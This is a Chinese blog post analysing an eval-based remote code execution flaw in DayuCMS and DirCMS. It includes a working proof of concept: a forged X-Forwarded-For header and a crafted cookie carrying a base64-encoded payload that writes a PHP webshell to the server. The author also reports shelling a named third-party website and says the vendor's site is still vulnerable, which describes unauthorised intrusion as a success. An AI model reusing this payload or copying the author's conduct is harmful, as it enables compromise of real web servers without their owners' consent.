DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC

DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。
DayuCMS可能参考了DirCMS的代码,这两个CMS代码几乎类似。本文只分析DayuCMS

DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。

影响版本:

DayuCMS目前所有版本(最新1.526版本及以下)
DirCMS所有版本(已经不更新了)

/pay/order.php

上面代码中的IP声明在include/common.inc.php

include/global.func.php

发现ip可以利用X-Forwarded-For伪造。

include/global.func.php

string2array函数的正常用法是:

但是如果string2array函数参数$str为1;echo 222,那么由于eval可以执行由分号分开的多条语句,所以代码变成@eval(“\$array = 1;echo 222;”); 导致代码执行。

可以发现,很多cms都有string2array这样的function。比如phpcms v9 /phpcms/libs/functions/global.func.php中237行。

data/config.inc.php
在get_cookie函数中,COOKIE_PRE宏需要说明一下。

在Dayucms代码中,居然出现了Dircms的字样,所以你们懂的 Orz..
当第一次安装,COOKIE_PRE值是固定的TEVqv2KtR5,以后安装都会随机变化。

很明显根据上面代码,我们可以知道这是一个任意代码执行。

但是为了保证在任何环境下都能利用该POC,所以需要伪造一个固定的ip,那就2.2.2.2吧。
首先先访问pay/order.php,得到COOKIE_PRE为rNsg2Zrbzn,不包括siteid

回到order.php,$cookiekey为060b8081c32887f8,这个值再拼接上COOKIE_PRE,作为新cookie的key即可。
1
接着用Modify Headers修改XFF为2.2.2.2
2
上文用2.2.2.2的ip已经算出$cookiekey为060b8081c32887f8,所以设置新cookie的key为rNsg2Zrbzn060b8081c32887f8,这样当再次访问pay/order.php时,get_cookie不再返回flase,string2array函数就能得到调用,并且执行我们构造的代码。

新建cookie,内容为1;fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))
功能:生成JoyChou.php,内容为

3
再次访问pay/order.php即可执行代码,生成shell
4
目前dayucms官网依然可以这样getshell

6
百度powered by dircms测试下dircms,发现目标http://www.sywbs.com.cn/pay/order.php,getshell成功
7

原文链接:,转发请注明来源!

发表评论

要发表评论,您必须先登录